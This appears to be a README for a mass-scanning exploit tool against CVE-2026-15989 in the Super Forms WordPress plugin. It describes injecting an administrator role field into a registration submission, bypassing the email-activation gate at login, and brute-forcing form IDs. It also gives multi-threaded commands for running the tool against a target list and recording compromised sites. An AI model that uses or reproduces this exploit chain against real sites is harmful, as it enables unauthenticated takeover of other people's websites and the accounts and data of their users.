                  █████╗  ███╗   ██╗ ████████╗ ██╗ ██████╗   ██████╗   ██████╗  ████████╗
                 ██╔══██╗ ████╗  ██║ ╚══██╔══╝ ██║ ██╔══██╗ ██╔═████╗ ██╔═████╗ ╚══██╔══╝
              ███████║ ██╔██╗ ██║    ██║    ██║ ██║  ██║ ██║██╔██║ ██║██╔██║    ██║
              ██╔══██║ ██║╚██╗██║    ██║    ██║ ██║  ██║ ████╔╝██║ ████╔╝██║    ██║
              ██║  ██║ ██║ ╚████║    ██║    ██║ ██████╔╝ ╚██████╔╝ ╚██████╔╝    ██║
              ╚═╝  ╚═╝ ╚═╝  ╚═══╝    ╚═╝    ╚═╝ ╚═════╝   ╚═════╝   ╚═════╝     ╚═╝

💉 Super Forms — Multi-Lab PrivEsc Scanner

CVE-2026-15989 · Unauthenticated Admin Account Creation

                                       » E X P L O I T S «

🔥 Fingerprint-free auto-discovery · Validation-aware payloads · Zero authentication · Honest classification

🎯 Target


WordPress Plugin	Super Forms – Drag & Drop Form Builder (Register & Login add-on)
Affected Version	`<= 6.3.316`
Patched Version	`6.3.317`
Authentication	❌ None required — any published registration form is enough
CVSS	9.8 CRITICAL

⚡ The Chains

👑 CVE-2026-15989 — Whitelisted role key → Administrator Creation

GET admin-ajax.php?action=super_create_nonce ──► _sfs_id session + sf_nonce
        │
POST admin-ajax.php  action=super_submit_form  data=<JSON>
        │
      before_email_success_msg()  (Register & Login add-on)
        │
$other_userdata = array( ..., 'role', ... )   ◄── client key whitelisted
        │
$data['role']['value']  ──►  $userdata['role']   (register_user_role overwritten)
        │
wp_insert_user()  ──►  🔥 administrator account, zero authentication

The add-on copies $data['role']['value'] straight into the user-data array without validating it against the admin-configured register_user_role, without an allow-list and without any capability check — a single injected "role": {"value":"administrator"} field wins.

🎟️ Login Proof — Activation-Gate Bypass

POST wp-login.php   log / pwd / testcookie
        │                    + action=super_submit_form   ◄── the magic field
        │
check_user_login_status()  ──► pending/blocked gate SKIPPED
        │
GET /wp-admin/users.php
        │
200 = administrator proven  ·  403 = subscriber (patched build)

The add-on only enforces its email-activation / moderation gate when the POST action is NOT super_submit_form — so the same form action that registers the user also unlocks logging into it, even before any email verification.

🧨 FULL Mode — Two-Phase Form-ID Brute (no fingerprinting needed)

discovery empty (REST · sitemap · links · ?page_id probe)
        │
PHASE 1 — form-ID sweep 1..50, minimal payload, OWN SESSION PER ID
        │                       (shared sessions would invalidate each nonce)
        │
'required fields' reject ──► PHASE 2 — REST markup fetch ──► full payload retry
        │
every accepted candidate ──► login proof per id
        │
contact form? ──► UNVERIFIED (never a false positive)
registration? ──► 👑 verified administrator

Non-registration forms also answer error:false, so every accepted id is only a candidate until the credential is proven with a real login.

🚀 Quick Start

# zero dependencies — pure Python 3 stdlib (rich is optional, for the console)
python3 cve-2026-15989_poc.py --list labs.txt --output results.txt

# tuned concurrency / timeout
python3 cve-2026-15989_poc.py --list labs.txt --threads 20 --timeout 15 -o results.txt

# FULL MODE: discovery + role injection + login proof + form-ID brute (1..50)
python3 cve-2026-15989_poc.py --list labs.txt --full --output results.txt

labs.txt — one base URL per line:

http://localhost
http://192.168.56.101/lab-wp
https://10.0.0.5:8443/lab        # self-signed TLS is handled automatically
# comments and blank lines are ignored

🛠️ Options

Option	Description
`--list FILE`	target file — one URL per line (required)
`--output, -o FILE`	hit-list — only VULNERABLE targets written live (ANSI-free)
`--threads N`	concurrent target workers (default 10)
`--timeout N`	per-request socket timeout in seconds (default 10)
`--full`	run the WHOLE chain — adds the form-ID brute fallback (accounts WILL be created on vulnerable targets)

🧾 Result States

State	Meaning
`VULNERABLE`	account created and wp-admin administrator access proven (200)
`NOT-VULNERABLE`	login OK but admin pages 403 — role ignored → patched build
`UNVERIFIED`	submission accepted but login rejected (locked/pending account or non-registration form) — never reported as a silent false positive
`BLOCKED`	submission rejected (reCAPTCHA, CSRF, required fields, honeypot…)
`ERROR`	unreachable target / DNS failure — reported with the exact cause

✨ Features

🔍 Fingerprint-free auto-discovery — REST rendered content (wp-json + ?rest_route= fallback) → sitemap index → 40+ multi-language registration paths (/register, /kayit-ol, /registrieren…) → ?page_id=N probe; works with any theme, page builder and permalink style
🧬 Validation-aware payload synthesis — every rendered field is auto-filled the way the browser would: own defaults, textarea content, dropdown/checkbox/radio options, data-validation types (email, number, date, time, phone, IBAN, color, URL)
🎟️ Automated CSRF — nopriv super_create_nonce bound to the _sfs_id session; brute attempts get their OWN session so nonces never invalidate each other
👑 Honest classification — VULNERABLE only when wp-admin access is proven; patched builds are separated by the 403 probe; locked accounts surface as UNVERIFIED
🥷 Activation-gate bypass — login proof carries action=super_submit_form, skipping the add-on's email-verification / moderation gate
🧨 FULL mode — two-phase form-ID brute with per-id login proof (contact forms can never false-positive)
🛡️ URL hardening — theme template links ({{ data.url }}), control characters and IDN/Turkish-slug hosts are sanitized automatically
📁 Clean hit-list — --output records ONLY confirmed targets, appended live, always plain text (grep/parse friendly)
📊 Rich console — antid00t-style ANSI Shadow banner, live scoreboard, summary table; graceful plain-text fallback without rich
🐍 Zero dependencies — pure Python 3 stdlib (rich is optional eye-candy)

CVE-2026-15989

Most Popular